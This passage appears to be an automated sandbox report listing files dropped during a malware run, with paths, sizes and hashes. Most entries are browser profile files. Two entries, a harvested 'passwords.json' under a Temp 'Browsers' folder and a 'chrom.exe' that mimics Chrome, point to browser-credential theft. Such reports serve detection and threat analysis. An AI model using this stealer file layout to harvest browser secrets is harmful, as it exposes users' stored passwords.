Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Trust Tokens

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network\Trust Tokens
Size 36KB
SHA256 f6dc3ce8ce21647c61b493cd86c6c3fb5992d5ee4507bae9da8e33fdec247804
MD5 2098aa1459265f01606da9581b7b810b
SHA1 4d9839da23cda7ca4a315b87253f7dff444b6178
SHA512 ddb46a6c9bc1ac4e52483dafb92bdd67f0456473a4b2a5ee7cfbf471615eacddcc6c0ac47b3088ba592af39822e9cbd9769430658d2b1e1e0cb9cfe5bd88714f
SSDEEP 24:TLKEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:TWEeWOT/nDtX5nDOvyKDhU1cSB
TLSH
T18AF29A4BE93C6FA3CCC56FB08B07D5B41F722BCAE68276C4247120A01DA964495E7447
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Shared Dictionary\cache\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Shared Dictionary\cache\index-dir\the-real-index
Size 48B
SHA256 21af1044cbf2cc214893dafebc6bce56aa371569016f64251352eedb0565a3a4
MD5 165789c9be48fa2f571fcdfc690482e4
SHA1 bcae963a3d309874bc7231752229a2adcc08b991
SHA512 34a71e5bae487a907307036f80dffe82ee370867e2cc052a02884ffe391f1b0586d40a1f687bcd45461dbb06fdbfce283f025eb77eacd0813f76f19dd060fd01
MD5 SHA1 SHA512

Submit Download

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Shared Dictionary\db
Size 44KB
SHA256 b08af7745c49533422c5afb2e683b61ab1b025a2ef13f892321a2cd1383fba79
MD5 ad4b0d21f32cbccefd98c28e33a59a6e
SHA1 1850a90ed7ec61efca181fcc35927a2888549e6e
SHA512 0bc8a37f441ce5cbb0fe4ea3f766f741cc6424ac4274ffa42fcf507c8fc7154115375bc669449da02d8b57a19227483814357367cc8611cbecdf247d7b65706b
SSDEEP 24:TL6BgJhPwMuz6G0ZestjteX4yNQeYlv+1b3IeNS6+6Uwg8TPq81fBG:T1OIy4m1b3fbUdeqSB
TLSH
T16B13BB0F1E187551D1BD0236E9E64E6B2E7E204C9B8369D125F01AF24DE211C5D2F27F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 614bcf6175c946a496479a8daf46e15e55e18d616fa3d7f679761feca450be67
MD5 402191d29f33b1b029d8f8a8e5b93176
SHA1 e98ab7202aaf4c2262a4dd927af0fd25996833c0
SHA512 0c5f75267d9bbbdbbc3130686fb645ade810d6ef8cbf990d82d68d0140dcacc5c4706cbecae102b3abd3908acf42066dce3ea09575a93fe58586ad4256be64a8
SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2OfpX6zhqcVum8wkRH:jeuvBnhJsueMEGvIW1DcP2Opm7Vum8nN
TLSH
T155D3864B3A747002EDE59A721CE051BB5E3CB16D4F11A5D428B620698EF2863B23D4FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 6KB
SHA256 857d50a1ba7bc82a0647b646fd292e837d498d97c324f377a1d24ce31a32b374
MD5 a0c16cd20637f99002a989391f1cef7c
SHA1 5a7caf55742d52e50e5d1ecd3cb45b563833c746
SHA512 cd8ca44a5d4af6f792f342cc6c89852839f39f50a15fb27937015d84389bd86918a46a3ef7abbdcf378325542e8b125b8a6c54d0595a1282fe07f85b1c0ddbce
SSDEEP 192:0t0PtbKFKu00UUSbOiU2Ip+4aCaO2OqLClmgi:0tWtmFK6oOxnqOqLClw
TLSH
T18BE1D8726C5A58F35EB3A885B5023E438CE8E09F9F14BF1CDDD81F09009B5AD1743962
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 aeb6a5dea70718df506c7868fca1f3c64e046b05302f33425f64dd82e28f5704
MD5 847aadd2c0e4b688549e1828c12eb1af
SHA1 e0196093e7d8574eff4f65b295293eb3d5cfe918
SHA512 cce91c07079950f40188bdc511df87f8c32c4357ecf018575675178c3d3a5671979ce75fc5dacb5eaf7c17ebf3a65712d7167ef112c8567d6f7e53b5970bbecb
SSDEEP 96:0C0d+EZUAbKFKu0d6aF7QuGJfmb73EBSl8h4otop5oNDfB6eGyvnpBkexQ2Ob20k:0C0PtbKFKu00UUSbOiU2Ip+MBkIQ2OiJ
TLSH
T1EFC13AB1A86D98739AFBE555F5132643CEB0A16B9941AF54CADE0F1C01E71EC2383237
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 28a437cc8652a3194ea9b6e2a94165b3da1f124277055b19b4c4be538728e50d
MD5 71d9a12eaf08f2003b5bb6ae99a14e7e
SHA1 f469fb0f1cc4e39120600fe4312adf6b1785a4cb
SHA512 b345388defca72a6c011b4aa2615b80ece1af56e8bd343e09dac5d58ead2153467d1efcc87802cbc19faf5947ca6a778769e48ba78f9cb7d0c0b9deb80f23cf8
SSDEEP 96:xC0d+EZUAbKFKu0d6aF7QuGJfmbE13IERDotok5olDfB60GyvnnXOlbKmb0v4a:xC0PtbKFKu00UUSb/iDUDUpECXOlbK7
TLSH
T172A13C72A4698D735A7AD549F9622B03CF75E06BAD229F54D9CD0F0C10F71E80342627
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 28b621441a296b4887af729c019f88d3a18c1f5f9d27c94556bdc2c0462cfb42
MD5 c92493a583fbcb36b80d4b23aad66b16
SHA1 1d8a6a979e1618d3725f0339b39439bd942e75f1
SHA512 7e7931e073a7f2f751faaa5d6cf6ce5ab7eb499953d8896405a39ca8aaae86b33c524d2f8452aa4fc1a4f09df6855f59862d3551543e84caefe539c1cab3a148
SSDEEP 96:0bJ0d+EZUAbKFKu0d6aF7QuGJfmb73EBSl8h4otop5oNDfB6eGyvnpBkexQ2Ob2J:0t0PtbKFKu00UUSbOiU2Ip+MBkIQ2OiJ
TLSH
T1B0C12AB1A86D98739AFBE555F5132643CEB0A16B9941AF54CADD0F1C01E71EC2383237
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ee00825bbd5a4f21308ad2e10e5a9d3c4512f07fbd288ec8ac76788de6019e25
MD5 c3584e6bc22b3ad2f168ede48d20a993
SHA1 ffb4ecef8f65638ca17e16a32806195193977c7e
SHA512 5fd777359305e67e9f30fc404af9013a876846b1d6db271fa73dfcf2ee22fb25a8e26d4d0c970cc3a8219df11038dc6b4c2c411db652593bda1c3d7643753c0b
TLSH
T18AD02B7637C40404C0D0747621F34602D530C520584C81088801B03CCC207C3010A8DB
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c80f71026fa07cc9b3e69c8779d4b4b40710cf7bc2893b740943db0d0f79591a
MD5 590eca05f11ec72644a09f205b548fbc
SHA1 c6521700bee3b500259ee3a70292b90201f20597
SHA512 fddd457c35c61ceb727f99bd39f55314cdeb7d062798c573a377675121f972ed95109fec329f911c502139a1794b70e5a98a57dd3b21b5a70e6518890a361f66
TLSH
T1E7D02B7A37C40404C0D0747221F24602D530C520AC4C81088801702CCC207C3010B8EF
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 8879f5f6f3ef4ef93ed3a2a42e618cebe9001ac91cb17cd90ffd0e324d35c48a
MD5 852375e015e27f732ea2f3d116b40f9a
SHA1 597efcb691e7a9025e545f6642926675ba8b1115
SHA512 979eb2db7abbc5baddfec221601ad81e6705b83f6a06205fe88e527202f64cd083140eb7eb4af5918a37895f951e09cbbb6629aabfb4ae4bcaab87e325058301
SSDEEP 768:grv+4UNbdH3q1+LeSFOUL6JX4fouOToPvB2thtA9VAwHeVH1SlX:gbsbh3ksnnwthttuEH1Y
TLSH
T19303CF32A8A88A33DDE6D388710BB1572FF4916396D00FC499DD1B4D069B9DD170BC5A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 01cf0f96313b1d1054fce1bba308d7f5f0a119fabd4781de0f49071c9b790a87
MD5 3d39709bcd00e857c0969ab9b4bd6520
SHA1 102b82c2b9c84cb2d922747f8f42fd765f1f31de
SHA512 1e05aa9f9cc46f91f084f9eee6f545655bed1b56f748fae1e19e3719a64d44fac044afe2d4921f92fa0fd74ebf95521883d31bfe76958db27836c373e26f4c67
SSDEEP 768:zrv+4UNbdH35R+LeSFOUL6+WwX4fouOToPvB2thtA9VABEeVH1SlX:zbsbh3YsnnwthttGEH1Y
TLSH
T14903BE72A4A98E33DDE6D398710BB2972FF4516395C00FC4D9D91B4D0A47A9E1B0FC1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

passwords.json

Path C:\Users\Admin\AppData\Local\Temp\JskaVD2N\Browsers\Chrome\Default\passwords.json
Size 8B
SHA256 285386bcbda5b2338822b19266a2b90c6d87e9da18401f9148c69e469c11bcb7
MD5 cdc6bc1cb4ec05d3e1952695ca640971
SHA1 e1c92176fac5ddd9ea6c2cb2e01d03514bc3c84f
SHA512 b8025aa7007a269a132403b2917710e023753980d078a72ae83cd01e40a71239344244c949662b26ff04f761b5859b49b1105b53506b9ff1ad65d9fb18e7c6bf
MD5 SHA1 SHA512

Submit Download

chrom.exe

Path C:\Users\Admin\AppData\Local\Temp\chrom.exe
Size 1.7MB
SHA256 7f9ac077a6165c3f950e156e3e85ae1f0f30733db052eefd19116a9216f509f2
MD5 852ade9ff5758493b9bffaa435c32eb5
SHA1 4abb9ec604c49dbae96dcf2e74bf4a17898fe935
SHA512 4275f1d03a7a9b3be0b14c980856e16696fa9543f524d75cf8127be42fcdc8e3947e6c5e80107637e920f8de5b3fcede44aaad2c2155a6353f60880bff6fa68c
SSDEEP 24576:of8eyIUU+A5MUPICFLPTqx6UVQW1+d7MpE+fwlBh6h7SQf344wmmc77TgYrhAJu5:AyTAyUPrHeh07ThlBUh7//4u77cIAJ
TLSH
T1B785121AEB6404FCE1B7C578CD564945EBB2BC4A47A067CF23A00A562F27AD44D3FB12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5480_2061076088\CRX_INSTALL\_locales\en\messages.json
Size 450B
SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
MD5 dbedf86fa9afb3a23dbb126674f166d2
SHA1 5628affbcf6f897b9d7fd9c17deb9aa75036f1cc
SHA512 931d7ba6da84d4bb073815540f35126f2f035a71bfe460f3ccaed25ad7c1b1792ab36cd7207b99fddf5eaf8872250b54a8958cf5827608f0640e8aafe11e0071
TLSH
T1D3F055CB9000FC5E538BC00EB10072282BA603E01AD1726724EC1C0E67DFDAEB143F9A
MD5 SHA1 SHA512 TLSH

Submit Download